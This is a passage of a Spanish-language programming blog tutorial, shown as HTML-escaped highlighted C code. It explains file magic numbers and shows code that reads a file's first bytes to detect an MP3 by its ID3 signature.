&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;readFile&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Funcion que leera el archivo,le pasamos el nombre&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;argv&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;argc&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[])&lt;/span&gt;
&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;argv&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;)&lt;/span&gt;
        &lt;span style=&quot;color: black;&quot;&gt;readFile&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;argc&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;]);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Le pasamos el nombre del archivo que indiquemos en el argumento&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;readFile&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;BYTES&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;];&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Definimos un array de n bytes&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;FILE&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;fp&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;fopen&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;rb&quot;&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Abrimos el archivo en modo binario y lectura&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;fread&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;BYTES&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;fp&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Lemos los primeros n bytes&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;BYTES&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Recorremos el array&lt;/span&gt;
    &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;isgraph&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;]))&lt;/span&gt;  &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Si se puede imprimir&lt;/span&gt;
            &lt;span style=&quot;color: black;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;Nums %c\n&quot;&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;]);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Lo imprimimos&lt;/span&gt;
    &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;

    &lt;span style=&quot;color: black;&quot;&gt;fclose&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;fp&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Ahora vamos a usarlo:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0wwfE_Vk0m-Kopwb1etc2x_cARFuf0eppeUIKmKIaoYP36g8mqwCyxKdiU3XHCkBsfqvwjE8btLR88o9wlI7uvDlDg4_IlRUF1tCEpyIitfpXX_LYXyG5aROmz601pvDfPQM1Gfb6yqr-/s1600/linux+numbers1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0wwfE_Vk0m-Kopwb1etc2x_cARFuf0eppeUIKmKIaoYP36g8mqwCyxKdiU3XHCkBsfqvwjE8btLR88o9wlI7uvDlDg4_IlRUF1tCEpyIitfpXX_LYXyG5aROmz601pvDfPQM1Gfb6yqr-/s1600/linux+numbers1.png&quot; height=&quot;271&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Como vemos en el primer archivo use una imagen png con extensión jpg y no hubo problema al detectar el tipo de archivo,en el segundo use un .pdf y efectivamente es .pdf.&lt;br /&gt;
&lt;br /&gt;
Algunos archivos no simplemente van a decir PNG o PDF,por ejemplo el numero magico de un mp3 es ID3:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPtagj0EoxDjEcJFpa9fOSI3fqbLGFTsib_ycXYjcisepuAbd8BozzhnB-pddgkJGc847_kJ-Qz9kb2qaPRNmJ017GXkV3TR3Rwk5sv6_T0L-Aq4G51HgyOSBFlUlFjQ4gcRNKAruDsG3u/s1600/linux+numbers2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPtagj0EoxDjEcJFpa9fOSI3fqbLGFTsib_ycXYjcisepuAbd8BozzhnB-pddgkJGc847_kJ-Qz9kb2qaPRNmJ017GXkV3TR3Rwk5sv6_T0L-Aq4G51HgyOSBFlUlFjQ4gcRNKAruDsG3u/s1600/linux+numbers2.png&quot; height=&quot;271&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Algunos números mágicos los podemos encontrar aquí:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_file_signatures&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;https://en.wikipedia.org/wiki/List_of_file_signatures&lt;/b&gt;&lt;/a&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Y eso nos sirve para definir un array de comprobacion,por ejemplo para el mp3,seria en HEX:&lt;br /&gt;
&lt;br /&gt;
49 44 33&lt;br /&gt;
&lt;br /&gt;
Que solo serian 3 bytes,3 char:&lt;br /&gt;
&lt;br /&gt;
Veamos:&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;#include &amp;lt;ctype.h&amp;gt;&lt;/span&gt;

&lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;#define BYTES 8 // Numero de bytes&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;typedef&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;enum&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;_boolean&lt;/span&gt; &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;FALSE&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;TRUE&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;boolean&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Tipo boolean&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;readFile&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Funcion que leera el archivo,le pasamos el nombre&lt;/span&gt;

&lt;span style=&quot;color: black;&quot;&gt;boolean&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;isMp3&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Funcion para saber si es mp3&lt;/span&gt;

&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;argv&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;argc&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[])&lt;/span&gt;
&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;argv&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;){&lt;/span&gt;

        &lt;span style=&quot;color: black;&quot;&gt;readFile&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;argc&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;]);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Le pasamos el nombre del archivo que indiquemos en el argumento&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;isMp3&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;argc&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;]))&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Vemos si es mp3&lt;/span&gt;
            &lt;span style=&quot;color: black;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;%s es mp3\n&quot;&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;argc&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;]);&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;else&lt;/span&gt;
            &lt;span style=&quot;color: black;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;%s no es mp3\n&quot;&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;argc&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;]);&lt;/span&gt;
    &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;
    
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;}&lt;/span&gt;

&lt;span style=&quot;color: black;&quot;&gt;boolean&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;isMp3&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;lenNum&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Numero de Bytes&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;lenNum&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;];&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// array que contendra los numero magicos&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[]&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0x49&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0x44&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0x33&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;};&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Numeros magicos del mp3&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;boolean&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;flag&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;TRUE&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Este sera el valor de retorno&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;FILE&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;fp&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;fopen&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;&quot;rb&quot;&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Abrimos el archivo&lt;/span&gt;
    &lt;span style=&quot;color: black;&quot;&gt;fread&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;lenNum&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;fp&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;);&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Lemos los primeros 3 bytes&lt;/span&gt;
    &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #0000cf; font-weight: bold;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;lenNum&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Recorremos el array&lt;/span&gt;
    &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;
        &lt;span style=&quot;color: #204a87; font-weight: bold;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;nums&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;])&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Si no son iguales &lt;/span&gt;
        &lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;{&lt;/span&gt;
             &lt;span style=&quot;color: black;&quot;&gt;flag&lt;/span&gt; &lt;span style=&quot;color: #ce5c00; font-weight: bold;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: black;&quot;&gt;FALSE&lt;/span&gt;&lt;span style=&quot;color: black; font-weight: bold;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #8f5902; font-style: italic;&quot;&gt;// Cambiamos el valor de retorno&lt;/span&gt;
